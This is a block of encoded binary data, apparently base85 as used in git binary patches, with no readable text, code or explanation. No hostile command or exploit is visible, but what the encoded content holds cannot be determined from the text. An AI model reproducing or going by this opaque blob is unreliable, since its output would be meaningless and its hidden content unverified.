z?CK}LQGn~zk-y50uI}DksF&~1C>_qZ#)$Q=ebPMiXkz^N>)ObTwytHq$+p!$JeYA3 zv?S#yBL`UhoehHmmks-z)t!S1oUkY2hk%Rc#a5ro|TY*Xl27cKZt zn?Bq!@H#L#H z@7W5-hHf9y^FL?JGPUTQ^Gx7xsxg_jS=IMXXc?m48pcU$79A?f%N`rDu|}i5V6_Te zKorX5#DUgK`Gcs=6_^_~`Kj!YA&K(FHztj=lt-DkO42#g)#vbZX+f!(bYqL z8#$09h75H+YFnboc6gY_8gP>sbG7Nc?ZmjjEv+E}hgJ3R%*2idrh=Nuf~nbrYq`tj{klT1g6q_sYG%f*q;ea}Mj^iUZXDoY_Z2Iea$8D7Jr#<18c zxR^q>FV@wC7t3p@ffI*l#90Cexv-Vc_^36hQ08a{^ zQ>1_M#$p6h$8qe7i@Ky8pN8TO$7>zat156U9mva*ZXyXurFp)sd8a(hlRM8gS6BSC z6h%jGROWl9Z=(_DS@AoByKK?&6DEOLHU%WNTrnE^ta!t5-I+kCsYGxqf|rIGt=55M zb9Hf4_b4Yv$7*JQWpbo)nE7YDisYE%b|+8zv=xne{PUb5yji^P2I+uJptuic*`1Bw z^M9k=>SZ7(`LTj5;bdJXiB6ZNtb&RgXi(l`az5hS1Bv|ZPDS~BB`*6w30vV{Pi$3{ ztFe3Lq!M4Xn=7}msH3sw$_0DqMB~5n`$^Yw>gLL_x@5h}fl%edv$#EhJ5)oTHf`Y~ zK)0ygdwS3T!GDNKv{LOKPKdQ9?<%Yd0q)?AHci3w#YnPDI1g%NIPeDk)2ST2TNr*` z*#%d;8G;SI__Wb4yQ3`Dn(J8TL81&|e5tzu&DXE1oPoKjDvkYNk$Q zx%0;!gLTgh*u5jeC2uLKimHRGxr0sP?;t!DQrd9;$$~)_Ev=M|8&i<2A5tG`gsHnX zVg{S)MD!Y@rs~C&{4Lggu6~#8GH3)~<7=!z7kOjd*fYxsvzmM+;cpe z0uU2N-vnTn=4LWRoC^!+aKa2%LD0F(xHS9#!{OL5b!alBI=C!(o~_}olL~=>tcs87 zc-Puy_Cn;6FutI!W8if*7<=$_#$;mnPsYOGOLZM1kAi=z!p^0v${~q`3^B(dlFqMe zv*vnx+0PpuiNCFZgBW;<_U(!W+knLU^JgU31F6x010OVq)^|Q^`4+S$jQj0{Ll5kd z9A$DI6d(18v#Q9ZbHc3Efv_tKIO^l=cm)sD_FS0s9k!WHYCw}Ho3qp#IFU}GFE`RE zZMB`sq%Y0AZColyh}~Si365HDx`T5=y?h?!X6a~0(uCJ=&Yki+f6TMSz{Waha%en6 zI;yk=vA+Z$RcVq2o==c=!9Wq}#miB;71qk~uSGN|6Cc^zKF`v11pdmC^_(IZ zCDcPl;`5Uh8AG=~<%c8j(*L^N#z@>n;L*F5KSp$GFT_Gdgg`k48Dswn$1{nrvzj!5 z&l!N&<916xsyDS_VCf1xgz=Dtz%SjU5?_I7ukpaN-&oz&%hwdX2<*1Md*qT0_shGq z*7G0@Fl<|MX9#ZzhtH$TE>clBzZ2co&+r?nb$Xc;t=hVe6&UQHdgep1Njh(AV-c#{(BezCJ3^cf=RxPJ5}HUkV~aAOocAz0aT1kgmEJ!rZ)=!- zxmhG2V7QnpRleURsyFCfDX>k8F7UW0*{o{p<-wH07$K6=s5rIJlHi3&M-ZG9laqK* zu$E0bz92n8UYS3s!Tm}p9}6#r{OfPPYxluzXJC&;)yWjBC&W$ zK1>{~b&sf!>m$@#48dM7_D(CjbY}a?whJY3PRKq9Rz32mf!=d=GoIYT5l>9G<$DE#0Fnu0jy9dRzrq_=wukLz@$$ESJWNu1Csoq66xgL*96`iJ3aQ>Ut;0I zg4CkTEojN>yDgrIS0p4c05 zyuthiH2Ra!pr?GhH#zVL-tH?X4RJhq!uW-)!?%=o4-+7F*ju~etyg31YyP{Mm8D*$ z>bK8KVAJF#0Eh~+Ir4+cnzc|7?x%NveglmUbf zt%wb#V>eHt-ti}DF)U2qM~&x_#y7*`L-ykz7`c{_IX9UMy<0aH1FPO3T)MZou+kPI zux9hGgW;|{UR$hLXl%1uj%r981e(lh>HfYdg+|mxI=_NT;%Wz*~c72wX4le4W z6uY)9ZyTh@#GMr)U^im$rymvF$JZ}`qa`q?!7FA{ofgEMF;b=@Wu`082RVO z2TIJn?*fI4#dj)|0jY3;o;MsfOk(Qf+uB zJw!`)9KY}uv4%A2B9)L5%!G#W!`)iaz;=F{U4HIt-EOkd1V|`am)Eg$TIdn4Kq5H* z5Egs})WuT?vR~zv7u1B^974V8Hx>@-<6JN~S9fz{BvgH?uj=YMc5kE;e8`2xrSuNM z*8uZ6+>3bJhCS`PHF3S*Do8v9*H4vl`m-^Ndp;o?(^5Biygyzk80m6X zAB8j$P9&(@U&Ho}2s6no5qMMO1CNyy2JrxaaLNR*H{U>QcTs^5`2kg%<>Sp`G(vQp zsyEw1p2H}#yA8tw!Qq$hXuV>b<5hk}-Pu%vI7b#$ao$fqMa{Fv2C zYKhm>DKJ4-Ec#&pIP_fjC4f2O?}%H0kw6Vm z!y)i=q_K$0TjW_Y0>1;Y5eh z_4iHuiIBuN19zu`rVl{2X*UTWi_oZGnjjBqLe6FA`<}*7R#~aTMz8>hlSKpMT-65S zC?Tw8eDSpb&*0U_sIN%6h1c(5`XXQUD2h3a6ZkU!oz)$FsV)PVB2=cCdP}i>(2`GZ z#8u9!k#rl>T4lNzQnq1w^5=v& zK-%wCYpl{fRFD*5I zNj_3if>jZ9>2zbgU@zDb^2b~RGXUF1KZavA%B%Llzgb15X zG4~9p3*64*_88T&J%jt1dzO8XD16J@`k9|5kdm3}gc9>E{MZomd0r4dcF?1?X~!Yy z&En<2P_uwz9v4RVJ0!&76}H}NR;?LdJnWskz*CC#c*-2_wu}_3PE3P)VX%LSd=6O} zvlYTW_Y4p!fB`$U9l&hC;yol{?R7ykL0TB}D;9s(fy8=4P@p&xvEK&OvI{}+wDH+c$j zYaftc&SJshYhw)moTQ8YmBari@(ivxvA$Sh{}t&fxJ+5%nzH|F@626`a=Y;wn9tJ* z@5WaH5Tyuk1!mwOv&`%2b*#W)l7~7CqQhjUOY7%shT(_u`RAMxdf`j+VYTkvKtg%q z*eHc+pMia+A=Fs=b!X^B0iwc*tr+Ci(FYZTV(H+y3H&hmQtVTS30S3k575Yw_37sA zlCxoZjCKxr1}kMU_beRasxaw0K6wV)w$sk-I@v(U1Pso>^kc^L7^|;Prv(hTBxJ~G zk|j{z0B_*)9Bgm&0Eis3na`}WPZVU%27hIz_a9Lh-zk@8HO9`MB|&{&e8IK-NAOtQ zFrkqG$u_Xnp%88&R?VJ5hMh(|I~H!!*n2kpqx~!Dam+(7pT1Qw3WtWw;NpC8xoYBH z_bU7~*6>@;0&d}&!vhv`rR=#yAIEZ^=_&M<1Q(&`0mooQZ^svtSjepb|f{0lEvNsj)ZJiRU|K9MptnK1s9J1tX=2fsC1h zdR4^!;YcIM^Mkl%Uz)-dsL5v(U@bX_udGbRe_!2u>Ua0PruRwxo;Ih-OhVCTowf@m zfM?pAmR3A&KURAlEkHQgjlWIQ_}t>r`8QjzIN%oAwXuIsAmTsHD#ywgh5Hp9+?w0c z#bCnn)qv>kBu9d9WOViWVXFS0qr^htjeDqwgwv=e0rjK9H3yvgf$i%ugBOB~XT`HOIyRs*)ne!5|XGgEBZqP3PbfEP~`PQaE>qsc)J_UdB z)mc+qBnn>MPZsq`3Et9}SOyg!b7N@3_+mFo*xJ!IL3_5{a7sgVa4I8r3iBp-=&>{X zN#?aHfEG`1j-!6P?=crn79g+sg8Hioa`L%dJH1W;Gf0pYw**;mob|5^;iN-SK}P~c zWu$T;H~#?PEWrjP+V^N>2z39fS$`kezfEra^Qp6%%*yxVp}lDlih3BKjmr6YtK@#q z8_he(=u_;lSVq+s8rE-J04liW7_04IA>fc_1D0YNcJ)qN1@HER3#?z~ka*xlhICMN zdrgrI$RZFkp8w_#C`3llp!HLI&vy?V6A4RS`|`M?^qx<=!G&n33AKOEGKr_1H2R(6 zv)(+Wu9?@~PT|)r13@Jh91~NL4UW!~r2>C1$R3+;PfHft{2#RUvEblPA;Y-~%_CxXJ(M?!?Fp(^&mCFPzg%Gbz}(p=G|iQ#;z-6wtIf0`fc zpZLEb3#EW3E-PGEeeWW&v)svlM7ll2(-9pwW(yOHQ6<8I>HS;!XxL!D^aji(@1afj z&i{^o--YgeK6GmlRY9=Lvd!bYWo!4HM&EkN==zSmC%J6(GHmEyAa(xsQ5CCs zo&7h6uRP}TW7`6}xCaSN##zm&@TUgMupndkwKwDD0@hA_)EVo83SMIlTi;KE89que zxs!Q^vOPWn$ib)*Kn z**Riz#~I+19OJi?stCPLW2@-=)^dzrS65Dl+1@W(!HQvm|6HqDI1X3A>vXd>fT_xb z#~*H$)0oUm{Ik^lKi1v?EUK;T8^>c{!a+okJc0ripeP+4DU~ikX%$eq8^!{p4W2rvbHlHqOEH?pA+d1 zHyx$pAmS$QYk2etI&qa`3EP?pCe;*t*Q7de6G2X(wCtw$wY%OQcpbNLf|wB}A_J?_ z{7TgYIAwy1 zB1BcwDv;>me47ZTz{vF?&U1lRps zGZ~x04XXwVOjm*f;=+yy&kVa_a|i*qqvkU=-1l(v0@W6%wCKnJuv>CBR6DXGly-3y zXt=LnUue)@sZm~{YKnclhVV)pWjQ5YW-TL`YjqGF&MCnXe)X`!AM*5yWS{4sA$AUx zG~C&KGo*l?NKn??AoQwQ_pf_OZbc;SaB;1Ej!D5aQp!4%wXie5llOM7qBO(()@RVG z`Sg**$v^3?L8&T+3R$WRphs+n$hfCpsfT`FyT%~L$No%g7(}PTZMiCkD(yRHnTI-* zcs`ROkic&5t5O4@NPdxuNNnhliU&uM& zKH`f^fvpWxyvhp>xGMICBjLV**nUR`p!r^rycNkR&)L<2fZjFKIv#%g%_Y5p_J6|5 z-Ouh!5cX_#BXJ2NZ(2_`8TS1B=vOdFC3+69JbToW45nyZlCRE&ZtO;qtoO|4wB1nH z;|=ChryT7h&!6cSOumUI?hFIPwhp-|4rPik7yGw^qMD4!sa)&kAwbI;0CO-KQ-KDd zso50$awiP%pz+exbO3>0uvIc}hm~ULSL!S~64~>d|5`oK95eS4%2xAd4-zVB8G>-7 z+s(X~J)+tYw_^cm;8_F;vL@f83O{G>liQ>;a?#$go5$qNdk=FTyZVMhvuY_)oo?ry z_uNIJu!2P;%)R{{rs$2oQyOAR#*(>-C=el7OWm$GX;1@jbqn!l0n-N%X9B0A)=1BZ z!r5DT>W4QM;~167O`c?bbGQjaV=@8MF zKcIIM_IRzVgKSpdic6>&|9a)VfRwE?=hG^nkOwBW3k(exW!}4cyGUNNuaPdnyC;Gi zI{UXDiBJ~h;Y9_W#>-G#9iVrR`4nnAlNT#=rPsIk=XRBW=d|i{MUdx3Z?=DFn$QYK-q_CP|)qjs2~j$T-wj zd+pV-J!W!s_&JyWWfDd}%qG!~Z&Gpmz3OdneJ^&!#R~#jfKKR%KY^l<)hfccyXJvz z;Qc!?Mugb!z~^*dF#riO(L4_2tef?;obd@I&sJ`&Ss+cQ5x1BsQ2zC^QDjqCQ~jt9xbM_sxIlg%>M*C7YbjA3g8qy~7#% zp>e_c2R^|0%HOP&M`gzK%u4?cj#{rU{3|@ z6@OSnXtv^i1J@bJWKOSk|2f?1w^JcgU2K$^1RC0t%|FlOm;CbcwyXiDsDZEGv#mn`o5j6F{3uM`w=PN8wcGmHT$Ye{#%tC)ToeZYr&7JPws;% zxv1a|mjAW>HOp!NeRJj&L<-4BBV%J3vump6x~`rIo)2%_-a{kWQ3QIN=t&5elsnAb z-HZ+o7b8gbZBtP)Eh+vOokBeVbYvB`zF)kuFutp);UJ-ECDLV4-KWcsQ(0p1@hkJ zt8Xo=Ldg5Bs_jTm0RI~IS@7&!($Zq(@m*KP_bZ8NXX|)+DuCMlqFg=reR?-SRsZ(l zDxkLs#Kx7q1sOIO=e{J(4KaD|P5geE7bo5A>LYn*jYPM4OqRU|VWbPc&>g4Yqsr8W3IVE zOg}S$nL2|3oeq{;O)Y1Oz$&xAyg}2toKvo-#ke7&`<7tL{6Q_4Z&030I>f^qOe6H+ z^5xe3cH%fkYEYm5Pw5{Ob`8b5Opjf6|AMaDCg{-KZ=ezDn{s4)AyrLUfldOCBC|m2 zV0D>|&G%F-2qx^6M(qLayyCSwwM=>Q`VjLV4-Ly1D=Xf8DdNuaA{34-El~DIt+x*u zJx|8wi$S~Y7HIXeW=AhPsDbc-9xBKYlSIBgf3*z zl!^dm`t-RQ6eX{&Y*MF3rCl2qNLdxq4!VCj0ssZmsWQ-0f(60%gU^a>>8+6tpxm%) zz?}*wG#5eIT4;6M6CC>)_rN49Q6pUq*3=npKN&#n*$eie$^$AA4wc$bBV)Y0RfrUP zh9V;wb8mFCYl3zw6iGS;^Tlq}Gc`mO}t zhxn2IFYs!F=Qn0Ka;PZy?l&5tvs0j0n_9C(-Di4BEcIy%MK0j*39Y(-I<)&gIAgaV z^(7*usy}ZA!1~~AsF9f4iX9Ehk*)z4QRZiC%IF`XqZzMpXrBxx3Z%f@9BpV=E+{Tw zrMGFnuD8R+oekU8t9a!tnkTJ9+xr*I)#!pH&P_s1+Ix6IU@W-R=jj}2kWD%Z#{z%C%GuN zCfNpT$LBvm2<*KD=5o_XhfM~*nL2ep9G;$X?zscc8R!%;=pFRqZ1RfwIQdLoqR^FQ zY0Ocsbm~Sv}iMxt#05t{UdC8D<=)p~=sBY@{b z&QJjwh7NqAkN4HumOEdSb%;5IDWV*}-ZLlg^{XDC&@a^bZvY)093LN40~&Z#w!wbd z5-PF?>8BC8Gu)2Af}kY$Far(+j$Fe6Mb;a;i>u#rG>Fh@O7o{Y&%uyyA=fqit#k^@ zZEh6bH^~1mkt|l=p0sFD_|TfKB4NVXq^X^EV9^5G7_@Y(Ng;UBZs3)9(7e%W`76QP z3Yv?j^sl;@&iH*gsU%19=K9_C*5^K)pX`l^jzTO?2uWt`A!r|(X(#R!Z{6)rh;d%9 z2KeJ#$saFUf_zZh$8|4w<>lmA2Pw+13zQjx0!wxN31fknmg&_GGaJD)H{qu6{j+9e zhR`7=@SmVsvXzabcre{5T0QE~mV}NtNg{WV?`GfrRGmzX%FOp5^4^+$m#9HB_5&hJ)X!AFEDlKlpQ;fSP!f zF}#1_T$X)u*YSaKfAHsB^i~k#Tflfxk7K+@^4{JGpP{=uIeRP6WLU!Y|GK@PS2AbZ z^~122Y(`s4aHi7`Xs?4-v$ZJWdMSzkPy04D&_7Z|AN- zL_7Cx5KN$ov_01xg?DfilO{j;4fU$&wk4)rFGs&saUT?y{YeTZ{KYAJ z6*pZ@*~K90X&D_nk1qX2Ebf`QT<(bz{?L7I-6=W?#;Vn2Xs`PQLb12O?@6Bk;&+2&i>T(MikR{;=BHzRAXH1o*YHo z0EER5Zhi;z5RdGr+NLPDYJJq00gP%jeJhvyQCA^#i>R{z+cIvV7h-tlX5WNN?)X>K4>kAmQLAz8>emp1W{LZn(2`L?nh3t$2ik$Oj66Li8$EBJnzvoTfF)q)|ecA5vwGVoB? zBDT3*kA#~*}D`QZjr9pDXLi71D@sqLP7tF*E}7aa=B^V8s6Fx2#9jZ^f5YC9wHZg zWDU0@Dw~!+h7muUyFIA|Oalt6;9o=O$*WOWAO6S78_g%cQ@C57q6fV>5W#c-S;5qx z6>J251ad&_Arf7DCi_uIQ*)oG=xYGiFy zNtrz-BM